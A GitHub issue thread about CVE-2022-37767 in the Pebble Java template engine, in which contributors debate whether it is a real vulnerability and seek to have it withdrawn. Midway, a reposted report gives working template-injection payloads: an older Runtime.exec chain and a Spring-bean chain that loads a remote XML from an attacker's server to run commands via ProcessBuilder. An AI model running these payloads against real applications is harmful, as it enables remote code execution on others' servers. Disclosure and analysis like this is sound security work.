PebbleTemplates / pebble

Java Template Engine
https://pebbletemplates.io
BSD 3-Clause "New" or "Revised" License
1.09k stars 165 forks source link

Vulnerability CVE-2022-37767 #625

Open pelece opened 1 year ago

pelece commented 1 year ago

Hello,

since this morning security checks in our projects are reporting new critical vulnerability in the current pebble version 3.1.5: NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-37767 Original report: https://github.com/Y4tacker/Web-Security/issues/3

Any short-term workaround to mitigate the vulnerability?

slandelle commented 1 year ago

IMHO, using deny lists is an error and pebble should switch to using allow lists instead: the end-user should be responsible of deciding which classes are safe and which are not.

@ebussieres WDYT?

ebussieres commented 1 year ago

We already had a conversation on this https://github.com/PebbleTemplates/pebble/pull/494#issuecomment-629691422

chaitu0292 commented 1 year ago

@ebussieres Sorry I couldn't get to any conclusion looking at #494. Do you mean the reported CVE is already addressed? or Is it in your pipeline to resolve?

rumfuddle commented 1 year ago

+1 This CVE is breaking the build in any corporate environment and it's a bit sad that it's not taken serious.

slandelle commented 1 year ago

Disclaimer: I'm just an occasional contributor here

@chaitu0292 No, this CVE is not addressed. IMHO, the blacklist approach that was picked cannot possibly cover all possible security leaks and only a whitelist approach where the user explicitly lists what's needed in his templates can work. But maybe I'm missing something.

@rumfuddle Then, corporate users who depend on this library should not stay idle and wait for some open-source volunteers to tackle this issue on their free time. They should contribute, either in manpower or financially.

rumfuddle commented 1 year ago

@rumfuddle Then, corporate users who depend on this library should not stay idle and wait for some open-source volunteers to tackle this issue on their free time. They should contribute, either in manpower or financially.

Fair point, but if the PR consists of just an upgrade of the dependency containing the CVE, will you approve?

ebussieres commented 1 year ago

@rumfuddle No it's not just an upgrade of a dependency. You need to define a MethodAccessValidator implementation

Then If you use pebble-spring:

    @Bean
    public MethodAccessValidator methodAccessValidator() {
      return new BlacklistMethodAccessValidator(); //Provide your custom implementation
    }

If not

  new PebbleEngine.Builder()
            .methodAccessValidator(new BlacklistMethodAccessValidator()) //Provide your custom implementation
            .build();

The complexity resides in the implementation. If we provide a WhitelistMethodAccessValidator, we'll need to whitelist a lot of things (jdk, spring etc.). See this comment

I'm all ears open for suggestions

slandelle commented 1 year ago

we'll need to whitelist a lot of things (jdk, spring etc.)

jdk

Indeed, core classes and Java collections are often used in pebble templates.

spring

This I don't get, sorry. Why should it be possible for a user to have access by default to Spring core classes in his pebble templates? @ebussieres Could you please elaborate?

My2cents:

It's possible to harden a default configuration for a known subset of classes, typically the JDK. It's not possible for frameworks such as Spring.

Pebble can provide a sensible default configuration that grants access to all java.lang and java.util packages, with a few exceptions like Thread and getClass like it's currently implemented that would have higher priority.

For all other classes and methods, the user would have to explicitly list what he wants to enable, typically his POJOs and utils.

@ebussieres WDYT?

rumfuddle commented 1 year ago

My apologies for my earlier comment. I only now found the time to look at the issue (I got it confused with a Apache commons vulnerability), and I can see the complexity. For my use case, whitelisting whereby the default whitelist is even empty and the user is required to add "everything" would unblock us but I also appreciate the fact that you need to consider backwards compatibility with the current implementation. And the opposite, blacklisting would not make the CVE go away I guess.

slandelle commented 1 year ago

And the opposite, blacklisting would not make the CVE go away I guess.

Exactly.

Then, please remember that CVE severity is only determined based on the potential impact if someone was able to exploit it. It doesn't provide any context about the conditions for being able to exploit it. In this case, the only way to exploit is that the templates are generated from an untrusted source, eg having a system that publishes templates in a directory and have the Spring application load them from the filesystem. If your templates are shipped with your application code by your developers, your developers can't do more harm this way than what they can already do with malicious code in their Java code.

rumfuddle commented 1 year ago

In our use case, templates are 'data', provided by endusers but at least endusers that have to authenticate and that we trust. So I'm not that worried about exploits. Bigger problem is Nexus. The CVE is level critical, so we cannot perform any build&deploys until this is fixed.

slandelle commented 1 year ago

side note: when we'll have a fix, I don't know how we'll be able to update the CVE.

@ebussieres did @Y4tacker reach out before publishing his post? Did the CVE author reach out before creating it?

Y4tacker commented 1 year ago

side note: when we'll have a fix, I don't know how we'll be able to update the CVE.

@ebussieres did @Y4tacker reach out before publishing his post? Did the CVE author reach out before creating it?

ok,sorry for that. for I didnt find anyway to contacts you in your website(https://pebbletemplates.io/),other Used to go to the official website to find contact information(such as shiro they have https://shiro.apache.org/security-reports.html

slandelle commented 1 year ago

@Y4tacker Pet projects can't be expected to have well-defined processes like the ones hosted at the Apache Foundation (those are actually requirements to get hosted there).

A typical flow is to reach out with an issue on the public repo and then get invited to a private one and share the details there.

Are you the one who opened the CVE or is it someone else?

Y4tacker commented 1 year ago

@Y4tacker Pet projects can't be expected to have well-defined processes like the ones hosted at the Apache Foundation (those are actually requirements to get hosted there).

A typical flow is to reach out with an issue on the public repo and then get invited to a private one and share the details there.

Are you the one who opened the CVE or is it someone else?

Ok,I got it.

dbolkensteyn commented 1 year ago

@Y4tacker The link referenced in the CVE, https://github.com/Y4tacker/Web-Security/issues/3, is not public. Can you update the CVE to point to a valid link?

piotrpolak commented 1 year ago

Is there any chance this gets resolved any time soon? I am also willing to contribute. As @rumfuddle mentioned, it breaks any corporate build.

To me this vulnerability would only exhibit itself in scenarios in which the application accepts the input and then directly evaluates it as the template which is a horribly bad practice.

In the most common case when the templates are managed by the development team the chance of doing any harm is really low. Why would anyone want to execute code from the hand-crafted developer managed template if one could do the same system call directly from the Java code itself.

slandelle commented 1 year ago

@ebussieres If you're considering getting this fixed some day, or at least coordinating the effort of possible contributors, you could maybe set up GitHub sponsors or some bug bounty of some sort, so that corporate users who can't contribute with time/code can contribute with money.

piotrpolak commented 1 year ago

@slandelle @ebussieres I am willing to contribute on behalf of myself or the organization that I am part of if I know that the PR/solution will be accepted into the master.

I suggest to create a DefaultMethodAccessValidator or StrictMethodAccessValidator that will be active as the default MethodAccessValidator, allowing the template developers to read the properties of the of the template variables ONLY.

The user will still be able to configure a backward compatible BlacklistMethodAccessValidator either programatically or by setting appropriate Spring Boot starter property.

This should work flawlessly for users who use the view model approach, users who need to execute custom code from the templates will be able to set back the "old" BlacklistMethodAccessValidator. This should solve the CVE.

Please let me know what you think.

slandelle commented 1 year ago

Hard to investigate with the original report being no longer public. Does anyone have a copy?

Note: I really find incredible that the NVD does make a proper copy so it can be a reliable source of truth. Now we're left with a CVE without a description.

slandelle commented 1 year ago

@Y4tacker The link referenced in the CVE, https://github.com/Y4tacker/Web-Security/issues/3, is not public. Can you update the CVE to point to a valid link?

@Y4tacker Could you please invite @ebussieres @piotrpolak and I to your repo?

Y4tacker commented 1 year ago

@Y4tacker The link referenced in the CVE, Y4tacker/Web-Security#3, is not public. Can you update the CVE to point to a valid link?

@Y4tacker Could you please invite @ebussieres @piotrpolak and I to your repo?

ok,public

slandelle commented 1 year ago

@Y4tacker Thanks! I do have a question for you: would the vulnerability be exploited without Spring?

Y4tacker commented 1 year ago

@Y4tacker Thanks! I do have a question for you: would the vulnerability be exploited without Spring?

As of now, it should not be possible to take advantage of

slandelle commented 1 year ago

ok,public

Actually, it's not. Still 404.

Y4tacker commented 1 year ago

ok,public

Actually, it's not. Still 404.

Please get a backup, I have a lot of unwanted things in this warehouse is ready to close, now public

slandelle commented 1 year ago

Please get a backup

I just did, thanks.

Then, if this repo is not made public, the link is the CVE is invalid and there's no way for anyone to know what it's about. Were you the one who created this CVE on NVD? Or is it someone else who stumbled on your repository?

slandelle commented 1 year ago

COPIED FROM THE ORIGINAL REPO THAT WON'T STAY PUBLIC

================================================

Pebble Templates 3.1.5 allows attackers to bypass a protection mechanism and implement arbitrary code execution with springboot.

First, simply set up an environment with the official documentation:https://pebbletemplates.io/

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.7.2</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>hackingpebble</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>hackingpebble</name>
    <description>hackingpebble</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>io.pebbletemplates</groupId>
            <artifactId>pebble-spring-boot-starter</artifactId>
            <version>3.1.5</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

com.example.hackingpebble.HackingpebbleApplication.java

package com.example.hackingpebble;

import com.mitchellbosecke.pebble.PebbleEngine;
import com.mitchellbosecke.pebble.loader.Loader;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;

@SpringBootApplication
public class HackingpebbleApplication {

    public static void main(String[] args) {
        SpringApplication.run(HackingpebbleApplication.class, args);
    }

}

com.example.hackingpebble.controller.Test.java

package com.example.hackingpebble.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class Test {

    @RequestMapping({"/"})
    public String getTemplate(@RequestParam String template) {
        return template;

    }

}

application.properties

pebble.prefix = templates
pebble.suffix = .pebble

And file structure as follows:

182613443-8dc02374-35f8-428a-94e7-33ecf5b19087

When we control the parameter template we can render back the specified template file.

In previous versions, in order to mitigate command execution caused by malicious content in the template,pebble introduces a new security mechanism, which is implemented through the class BlacklistMethodAccessValidator.

In this class you can see a lot of restrictions, on the one hand, restricting the class to be an instance of certain classes, and on the other hand, restricting the execution of some methods

public class BlacklistMethodAccessValidator implements MethodAccessValidator {
    private static final String[] FORBIDDEN_METHODS = new String[]{"getClass", "wait", "notify", "notifyAll"};

    public BlacklistMethodAccessValidator() {
    }

    public boolean isMethodAccessAllowed(Object object, Method method) {
        boolean methodForbidden = object instanceof Class || object instanceof Runtime || object instanceof Thread || object instanceof ThreadGroup || object instanceof System || object instanceof AccessibleObject || this.isUnsafeMethod(method);
        return !methodForbidden;
    }

    private boolean isUnsafeMethod(Method member) {
        return this.isAnyOfMethods(member, FORBIDDEN_METHODS);
    }

    private boolean isAnyOfMethods(Method member, String... methods) {
        String[] var3 = methods;
        int var4 = methods.length;

        for(int var5 = 0; var5 < var4; ++var5) {
            String method = var3[var5];
            if (this.isMethodWithName(member, method)) {
                return true;
            }
        }

        return false;
    }

    private boolean isMethodWithName(Method member, String method) {
        return member.getName().equals(method);
    }
}

Look at the old version of exploit, loading any class by Class.forName,now,no class

{% set cmd = 'id' %}
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd) %}

What can we do? So far we know that many instances of Spring applications are implicitly registered as beans, so can we find an object from a bean that holds a classloader object, and by getting it we can load any object by executing loadClass

By debugging we can easily export these beans objects

182612181-b21c98e1-b586-4c02-a0b6-d8c863a76a22

So we have to find some eligible beans among these classes

org.springframework.context.annotation.internalConfigurationAnnotationProcessor
org.springframework.context.annotation.internalAutowiredAnnotationProcessor
org.springframework.context.annotation.internalCommonAnnotationProcessor
org.springframework.context.event.internalEventListenerProcessor
org.springframework.context.event.internalEventListenerFactory
hackingpebbleApplication
org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory
test
org.springframework.boot.autoconfigure.AutoConfigurationPackages
org.springframework.boot.autoconfigure.context.PropertyPlaceholderAutoConfiguration
propertySourcesPlaceholderConfigurer
org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration$TomcatWebSocketConfiguration
websocketServletWebServerCustomizer
org.springframework.boot.autoconfigure.websocket.servlet.WebSocketServletAutoConfiguration
org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryConfiguration$EmbeddedTomcat
tomcatServletWebServerFactory
org.springframework.boot.autoconfigure.web.servlet.ServletWebServerFactoryAutoConfiguration
servletWebServerFactoryCustomizer
tomcatServletWebServerFactoryCustomizer
org.springframework.boot.context.properties.ConfigurationPropertiesBindingPostProcessor
org.springframework.boot.context.internalConfigurationPropertiesBinderFactory
org.springframework.boot.context.internalConfigurationPropertiesBinder
org.springframework.boot.context.properties.BoundConfigurationProperties
org.springframework.boot.context.properties.EnableConfigurationPropertiesRegistrar.methodValidationExcludeFilter
server-org.springframework.boot.autoconfigure.web.ServerProperties
webServerFactoryCustomizerBeanPostProcessor
errorPageRegistrarBeanPostProcessor
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletConfiguration
dispatcherServlet
spring.mvc-org.springframework.boot.autoconfigure.web.servlet.WebMvcProperties
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration$DispatcherServletRegistrationConfiguration
dispatcherServletRegistration
org.springframework.boot.autoconfigure.web.servlet.DispatcherServletAutoConfiguration
org.springframework.boot.autoconfigure.task.TaskExecutionAutoConfiguration
taskExecutorBuilder
applicationTaskExecutor
spring.task.execution-org.springframework.boot.autoconfigure.task.TaskExecutionProperties
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$WhitelabelErrorViewConfiguration
error
beanNameViewResolver
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration$DefaultErrorViewResolverConfiguration
conventionErrorViewResolver
spring.web-org.springframework.boot.autoconfigure.web.WebProperties
org.springframework.boot.autoconfigure.web.servlet.error.ErrorMvcAutoConfiguration
errorAttributes
basicErrorController
errorPageCustomizer
preserveErrorControllerTargetClassPostProcessor
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$EnableWebMvcConfiguration
requestMappingHandlerAdapter
welcomePageHandlerMapping
localeResolver
themeResolver
flashMapManager
mvcConversionService
mvcValidator
mvcContentNegotiationManager
requestMappingHandlerMapping
mvcPatternParser
mvcUrlPathHelper
mvcPathMatcher
viewControllerHandlerMapping
beanNameHandlerMapping
routerFunctionMapping
resourceHandlerMapping
mvcResourceUrlProvider
defaultServletHandlerMapping
handlerFunctionAdapter
mvcUriComponentsContributor
httpRequestHandlerAdapter
simpleControllerHandlerAdapter
handlerExceptionResolver
mvcViewResolver
mvcHandlerMappingIntrospector
viewNameTranslator
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration$WebMvcAutoConfigurationAdapter
defaultViewResolver
viewResolver
requestContextFilter
org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration
formContentFilter
com.mitchellbosecke.pebble.boot.autoconfigure.PebbleServletWebConfiguration
pebbleViewResolver
com.mitchellbosecke.pebble.boot.autoconfigure.PebbleAutoConfiguration
pebbleLoader
springExtension
pebbleEngine
pebble-com.mitchellbosecke.pebble.boot.autoconfigure.PebbleProperties
org.springframework.boot.autoconfigure.jmx.JmxAutoConfiguration
mbeanExporter
objectNamingStrategy
mbeanServer
spring.jmx-org.springframework.boot.autoconfigure.jmx.JmxProperties
org.springframework.boot.autoconfigure.admin.SpringApplicationAdminJmxAutoConfiguration
springApplicationAdminRegistrar
org.springframework.boot.autoconfigure.aop.AopAutoConfiguration$ClassProxyingConfiguration
forceAutoProxyCreatorToUseClassProxying
org.springframework.boot.autoconfigure.aop.AopAutoConfiguration
org.springframework.boot.autoconfigure.availability.ApplicationAvailabilityAutoConfiguration
applicationAvailability
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$Jackson2ObjectMapperBuilderCustomizerConfiguration
standardJacksonObjectMapperBuilderCustomizer
spring.jackson-org.springframework.boot.autoconfigure.jackson.JacksonProperties
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperBuilderConfiguration
jacksonObjectMapperBuilder
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$ParameterNamesModuleConfiguration
parameterNamesModule
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration$JacksonObjectMapperConfiguration
jacksonObjectMapper
org.springframework.boot.autoconfigure.jackson.JacksonAutoConfiguration
jsonComponentModule
jsonMixinModule
org.springframework.boot.autoconfigure.context.ConfigurationPropertiesAutoConfiguration
org.springframework.boot.autoconfigure.context.LifecycleAutoConfiguration
lifecycleProcessor
spring.lifecycle-org.springframework.boot.autoconfigure.context.LifecycleProperties
org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration$StringHttpMessageConverterConfiguration
stringHttpMessageConverter
org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration$MappingJackson2HttpMessageConverterConfiguration
mappingJackson2HttpMessageConverter
org.springframework.boot.autoconfigure.http.JacksonHttpMessageConvertersConfiguration
org.springframework.boot.autoconfigure.http.HttpMessageConvertersAutoConfiguration
messageConverters
org.springframework.boot.autoconfigure.info.ProjectInfoAutoConfiguration
spring.info-org.springframework.boot.autoconfigure.info.ProjectInfoProperties
org.springframework.boot.autoconfigure.sql.init.SqlInitializationAutoConfiguration
spring.sql.init-org.springframework.boot.autoconfigure.sql.init.SqlInitializationProperties
org.springframework.boot.sql.init.dependency.DatabaseInitializationDependencyConfigurer$DependsOnDatabaseInitializationPostProcessor
org.springframework.boot.autoconfigure.task.TaskSchedulingAutoConfiguration
scheduledBeanLazyInitializationExcludeFilter
taskSchedulerBuilder
spring.task.scheduling-org.springframework.boot.autoconfigure.task.TaskSchedulingProperties
org.springframework.boot.autoconfigure.web.client.RestTemplateAutoConfiguration
restTemplateBuilderConfigurer
restTemplateBuilder
org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration$TomcatWebServerFactoryCustomizerConfiguration
tomcatWebServerFactoryCustomizer
org.springframework.boot.autoconfigure.web.embedded.EmbeddedWebServerFactoryCustomizerAutoConfiguration
org.springframework.boot.autoconfigure.web.servlet.HttpEncodingAutoConfiguration
characterEncodingFilter
localeCharsetMappingsCustomizer
org.springframework.boot.autoconfigure.web.servlet.MultipartAutoConfiguration
multipartConfigElement
multipartResolver
spring.servlet.multipart-org.springframework.boot.autoconfigure.web.servlet.MultipartProperties
org.springframework.aop.config.internalAutoProxyCreator

Fortunately we quickly found a class that fit the criteria and it helped us get the classloader object

182612219-ec75b2f6-77b1-43cd-ab16-4f459aeba184

It is not enough to execute loadclass, we also need to instantiate the class. And It's also very simple, there is jackson among spring's dependencies, through jackson deserialization we can easily instantiate a class.

Fortunately there is this jacksonObjectMapper object in the beans.Now we can instantiate arbitrary classes, and by being able to instantiate arbitrary classes we have bypassed the filtering restrictions

In the spring scenario we can easily think of a configuration class org.springframework.context.support.ClassPathXmlApplicationContext, which allows us to load a remote xml configuration file, through which we can easily implement the command execution.

But...

At this point you will find that any class jackson that inherits from AbstractPointcutAdvisor and AbstractApplicationContext will not be allowed to instantiate

    public void validateSubType(DeserializationContext ctxt, JavaType type, BeanDescription beanDesc) throws JsonMappingException {
        Class<?> raw = type.getRawClass();
        String full = raw.getName();
        if (!this._cfgIllegalClassNames.contains(full)) {
            if (raw.isInterface()) {
                return;
            }

            if (full.startsWith("org.springframework.")) {
                Class cls = raw;

                while(true) {
                    if (cls == null || cls == Object.class) {
                        return;
                    }

                    String name = cls.getSimpleName();
                    if ("AbstractPointcutAdvisor".equals(name) || "AbstractApplicationContext".equals(name)) {
                        break;
                    }

                    cls = cls.getSuperclass();
                }
            } else if (!full.startsWith("com.mchange.v2.c3p0.") || !full.endsWith("DataSource")) {
                return;
            }
        }

        ctxt.reportBadTypeDefinition(beanDesc, "Illegal type (%s) to deserialize: prevented for security reasons", new Object[]{full});
    }

What to do at this time? We found a class called java.beans.Beans in jre.

The instantiate method of this class can help us instantiate arbitrary methods.

public static Object instantiate(ClassLoader cls, String beanName) throws IOException, ClassNotFoundException {
  return Beans.instantiate(cls, beanName, null, null);
}

Here the classloader parameter is allowed to be set to empty, if it is empty later will be through the ClassLoader.getSystemClassLoader (); get, of course, in fact, we also get a classloader at the top which is not the point,It will eventually return an instantiated object based on the beanName passed in.

if (result == null) {
  // No serialized object, try just instantiating the class
  Class<?> cl;

  try {
    cl = ClassFinder.findClass(beanName, cls);
  } catch (ClassNotFoundException ex) {
    // There is no appropriate class.  If we earlier tried to
    // deserialize an object and got an IO exception, throw that,
    // otherwise rethrow the ClassNotFoundException.
    if (serex != null) {
      throw serex;
    }
    throw ex;
  }

  if (!Modifier.isPublic(cl.getModifiers())) {
    throw new ClassNotFoundException("" + cl + " : no public access");
  }

  /*
             * Try to instantiate the class.
             */

  try {
    result = cl.newInstance();
  } catch (Exception ex) {
    // We have to remap the exception to one in our signature.
    // But we pass extra information in the detail message.
    throw new ClassNotFoundException("" + cl + " : " + ex, ex);
  }
}

So we get the ClassPathXmlApplicationContext class that was forbidden to be instantiated by indirect means.

So by stringing these points together we can easily get the following payload

{% set y= beans.get("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory").resourceLoader.classLoader.loadClass("java.beans.Beans") %}
{% set yy =  beans.get("jacksonObjectMapper").readValue("{}", y) %}
{% set yyy = yy.instantiate(null,"org.springframework.context.support.ClassPathXmlApplicationContext") %}
{{ yyy.setConfigLocation("http://xxx.xxx.xxx/1.xml") }}
{{ yyy.refresh() }}

1.xml

<?xml version="1.0" encoding="UTF-8" ?>
    <beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
        <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
            <constructor-arg >
            <list>
                <value>open</value>
                <value>-a</value>
                <value>calculator</value>
            </list>
            </constructor-arg>
        </bean>
    </beans>

with http server in your vps

python3 -m http.server 80

Successfully triggered command execution by template file called rce.pebble

182613215-94d98d05-3f5c-4dee-87e4-445dd60c2d2c
Y4tacker commented 1 year ago

ok,thanks

piotrpolak commented 1 year ago

After reviewing the report https://github.com/Y4tacker/Web-Security/issues/3 I STRONGLY disagree with calling this a Pebble vulnerability.

TLTR:

The long story:

1. Bad controller design

The first problem is in the design of the Spring MVC controller - there is no input validation and the @RequestParam String template is being directly used as a template name.

This weakness can be exploited to load and render any classpath resource as a template and it would be a real problem no matter what templating engine is being used. In case of Pebble the list of resources that are eligible to be be loaded is being limited by pebble.prefix and pebble.suffix files.

On top of being fairy insecure, this approach is likely to cause tons HTTP 500 errors for situations like:

package com.example.hackingpebble.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class Test {

    @RequestMapping({"/"})
    public String getTemplate(@RequestParam String template) {
        // Can be used arbitrary file from the classpath LOL
        return template;
    }

}

2. Malicous code in the template

The second problem is in how the reporter designed resources/template/rce.pebble template:

{% set cmd = 'id' %}
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd) %}

This template code is not coming from the user input but is already present on the classpath.

Why would a developer try to write a malicious code and hide it in a template if one could simply write a malicious code directly in the Java source?

4. MethodAccessValidator

BlacklistMethodAccessValidator might not even be there, it is not used in the input validation. For systems that control the template contents (or store them locally on the classpath), as far as I understand, MethodAccessValidator is to prevent developers from hurting themself (locking the threads or consuming system resources).

3. Conclusion

Calling this a CVE is like saying that knives are dangerous because they can be misused. CVE-2022-37767 is unlikely to exhibit itself in any application that controls own template contents.

Please consider my previous comment https://github.com/PebbleTemplates/pebble/issues/625#issuecomment-1281187930 as a potential improvement (but not as a security fix).

slandelle commented 1 year ago

@piotrpolak From my understanding:

I agree that sanitizing the end-user input is the application's responsibility. I also agree that with this kind of reasoning, having a door in your house is a critical vulnerability because you could get robbed if you were to leave it wide open...

But now, it seems that nowadays infosec is all about configuring some dependency scanning SaaS product that's going to report every library matching a CVE in the NVD, whatever the usage context. For example, they force me to upgrade moment.js in a static local files generator because of an issue when used with node.js.

Now, I have no idea how this ended up in the NVD, in particular as AFAIK no one reached out the Pebble community to validate it, and so how to revisit the registired CVE.

piotrpolak commented 1 year ago

@slandelle

  • Some people design applications where end-users can edit the Pebble templates directly in production, eg served from the database or the filesystem.

Allowing the user to edit templates without proper input validation is a security issue by itself as one might intentionally (or unintentionally) save a code exposing a Cross-Site-Scripting (XSS) vulnerability on top of the RCE one.

If we take this approach, we should consider the entire JavaScript as super insecure as it exposes the ‘eval’ function and one might write an application that reads data from the untrusted database/filesystem and executes the malicious code.

You might still want to change the behavior of Pebble’s default ‘MethodAccessValidatior’ to allow methods on the submitted view model (template variables) only. This would include getters, collection methods but would disallow calling any bean’s or system methods. In other words developers would rather have to push variables to the templates rather than pulling them from the template level by executing bean/system methods. You could still leave the ‘BlacklistMethodAccessValidator’ in the project for these who need it for backward compatibility reasons but it would require manual configuration either from code or the properties file. This should solve the mysterious CVE but could introduce a backward incompatible change for these relying on the system calls executed from the templates.

In case of the applications that I take care of, I consider calling bean methods from the template code a bad practice when you have the neat view model approach. Calling Java methods from the template in both potentially dangerous, hard to test and prone to refactoring related errors. I can still imagine that one might need to call individual bean’s methods from the user managed templates but I consider it as a corner case. To me it sounds like programming-trough-the-template approach.

The CVE is not relevant to my application but it makes the Pebble library appear as an extreme risk in the security scan report.

If you agree to change the behavior of the default ‘MethodAccessValidator’ - I am willing to help.

slandelle commented 1 year ago

This would include getters, collection methods but would disallow calling any bean’s or system methods.

Technically, how do you implement those categories?

A getter is only a convention. Is getClass or getClassLoader a getter? In Java, collections are not isolated, they sit in the java.util package, along with you also have things like TimerThread. You probably want to be able to do a substring on a String, or get its length. But in Java, all base types live in the java.lang package, where you also have things like Thread, System and Runtime.

It's actually very complicated.

In other words developers would rather have to push variables to the templates rather than pulling them from the template level by executing bean/system methods.

What about POJO trees or collections traversal: foo.bar.baz?

I consider calling bean methods from the template code a bad practice when you have the neat view model approach

What about static helpers, eg for formatting? This is a view concern so using those here is legit.

The CVE is not relevant to my application but it makes the Pebble library appear as an extreme risk in the security scan report.

In the end, a template is just a piece of the program. It doesn't look to me that Pebble is any less secure than Java itself. IMO, this CVE is not relevant. And neither is the previous one that resulted in introducing MethodAccessValidator.

If you agree to change the behavior of the default ‘MethodAccessValidator’ - I am willing to help.

Ha ha, there's a misunderstanding here :) I'm not a committer here, just a mere occasional contributor. I raised my voice in this ticket because we use Pebble in Gatling.

I'm willing to lend a hand but the owner here is @ebussieres and I absolutely don't have the bandwidth to become a core committer here.

slandelle commented 1 year ago

FYI, I've requested the invalidation of the CVE. Here's the message I posted on the MITRE form:

Hi,

I'm a contributor on the PebbleTemplate open-source project.
Some time ago, a CVE against this library was created.
The reporter is unknown and the PebbleTemplate authors and community were not consulted in the process, in particular to check that the CVE was valid.

The report is based on an issue on an external GitHub bug tracker (https://github.com/Y4tacker/Web-Security/issues/3) which is now private, resulting in the link in the CVE description now being broken. I've managed to retrieve its content and copy it here: https://github.com/PebbleTemplates/pebble/issues/625#issuecomment-1282138635.

We've discussed this CVE with other users of this library and we strongly disagree with it.

The Pebble templating engine is to be embedded in Java applications and developers can code in the templates what they could code directly in the Java part of their application, like with Java Server Pages (JSP).
In this sense, Pebble is not less secure than Java itself. If some developers decide to implement a feature to let their application consume templates provided by the end users, it's their responsibility to properly sanitize user input, just like one would protect against SQL injection. It's not the responsibility of the library.

As a result, I humbly request that you invalidate this CVE.

Best regards,

Stéphane Landelle
TYKUHN2 commented 1 year ago

Not a contributor, not even a major user, but I came across this in my normal Gradle buildscript upgrade where I noticed that, yet again, my HTTP framework was including something with a vulnerability.

I disagree with the CVE and CVSS. That being said, there is some inconsistency which could lead to a "security issue."

Templates, pebble or not, are arbitrary code. They should be highly sanitized. Any failure to do so is the applications fault. In fact, that is my major gripe with the CVSS: this is NOT a remote vulnerability.

That being said, this does seem to be a bypass to existing mechanism of security: the blacklist. I don't use Spring Boot so I may be wrong in this front. Additionally, I do recognize that ensuring the blacklist cannot be bypassed is practically, if not literally, impossible, but the library's dependencies should not expose this issue by default.

I would suggest allowing a whitelist to be selected (if possible in a backwards compatible manner) or at the very minimum sanitizing the library's dependencies for bypass vulnerabilities. This ensures that the blacklist feature works as the user may expect (minus the obvious oversights users should expect from a default blacklist.)

In the meantime, I am yet again going to ignore the big yellow highlighting and tell Snyk it needs to calm down.

ebussieres commented 1 year ago

@piotrpolak If you want to contribute I'll gladly accept your help. Next release is scheduled for November 24 to add support for spring boot 3

spikerobinsonDLG commented 1 year ago

Hi all. One of our dev/test pipelines is blocked by this CVE. Our specific use case is running Gradle Gatling for load tests. This has Pebble as a dependency. From the helpful comments here I am understanding this disputed CVE as

"If Pebble is configured to read a template (or classpath location?) from a location that is under control of a malicious actor, the malicious actor could introduce malicious code which would be executed"? Is that fair?

In which case isn't it the same as using an insecure writeable public repo, or hosting your templates on a public writeable S3 bucket? Am I missing something? Other than this kind of egregious failure of source code security, is there any way someone could use this CVE for an attack?

Also - is there any progress on the proposed mitigations (Whitelist mode)?

slandelle commented 1 year ago

Note: Gatling creator here.

Is that fair?

yes

In which case isn't it the same as using an insecure writeable public repo, or hosting your templates on a public writeable S3 bucket?

It is exactly this.

is there any way someone could use this CVE for an attack?

None I can think of.

Also - is there any progress on the proposed mitigations (Whitelist mode)?

I don’t think so. And it's probably a huge undertaking (similar to the official SecurityManager that has been deprecated for removal).

I tried to reach out to the organization maintaining the CVE database to try to get this CVE reconsidered but they never bothered replying. IMO, you should tune your vulnerability scanning tool to make this CVE a false positive.